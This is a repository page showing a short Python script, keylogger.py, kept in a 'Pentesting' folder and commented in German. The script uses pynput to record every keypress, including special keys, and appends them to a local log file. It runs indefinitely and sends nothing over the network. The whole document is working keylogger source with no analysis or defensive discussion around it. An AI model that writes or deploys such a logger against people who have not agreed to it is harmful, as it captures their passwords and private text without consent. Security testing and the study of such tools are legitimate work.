Files
Pentesting/keylogger/keylogger.py
T
2026-04-17 09:01:34 -05:00

29 lines
901 B
Python
Executable File

from pynput.keyboard import Listener
# Dateiname für das Speichern der geloggten Tasten
log_file = "keylog.txt"
# Funktion zum Schreiben der Tasten in die Datei
def write_to_file(key):
try:
with open(log_file, "a") as file:
if hasattr(key, 'char') and key.char is not None: # Normale Zeichen
file.write(key.char)
else: # Sondertasten (wie Shift, Enter)
file.write(f" [{key}] ")
except Exception as e:
# Fehler beim Schreiben in die Datei werden ausgegeben
print(f"Fehler: {e}")
# Funktion für Tastendruck (on_press)
def on_press(key):
write_to_file(key)
# Funktion für Tasten loslassen (on_release)
def on_release(key):
pass # Kein automatisches Beenden
# Startet den Listener
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()